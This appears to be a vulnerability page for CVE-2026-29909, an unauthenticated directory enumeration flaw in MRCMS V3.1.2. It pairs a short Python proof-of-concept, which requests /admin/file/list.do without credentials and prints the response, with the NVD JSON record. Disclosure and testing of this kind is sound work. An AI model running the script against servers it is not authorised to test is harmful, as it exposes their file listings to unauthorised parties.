CVE-2026-29909

import requests def check_vulnerability(target_url): """ Checks for CVE-2026-29909 directory enumeration vulnerability. """ # The vulnerable endpoint identified in the CVE description endpoint = "/admin/file/list.do" full_url = f"{target_url}{endpoint}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Sending request without authentication cookies response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Potential vulnerability detected at {full_url}") print(f"[+] Response content (first 200 chars): {response.text[:200]}") else: print(f"[-] Endpoint returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") # Usage example # check_vulnerability("http://127.0.0.1:8080")

{"cve": {"id": "CVE-2026-29909", "sourceIdentifier": "[email protected]", "published": "2026-03-30T17:16:15.750", "lastModified": "2026-04-02T17:11:00.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MRCMS V3.1.2 contains an unauthenticated directory enumeration vulnerability in the file management module. The /admin/file/list.do endpoint lacks authentication controls and proper input validation, allowing remote attackers to enumerate directory contents on the server without any credentials."}, {"lang": "es", "value": "MRCMS V3.1.2 contiene una vulnerabilidad de enumeración de directorios no autenticada en el módulo de gestión de archivos. El endpoint /admin/file/list.do carece de controles de autenticación y de validación de entrada adecuada, lo que permite a atacantes remotos enumerar el contenido de los directorios en el servidor sin ninguna credencial."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-425"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mrcms:mrcms:3.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "254B64CD-32D5-4E91-8A4C-54C155EA7E0B"}]}]}], "references": [{"url": "https://github.com/qflksheep/CVE-2026-29909-MRCMS-vulnerability/blob/main/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/wuweiit/mushroom", "source": "[email protected]", "tags": ["Product"]}]}}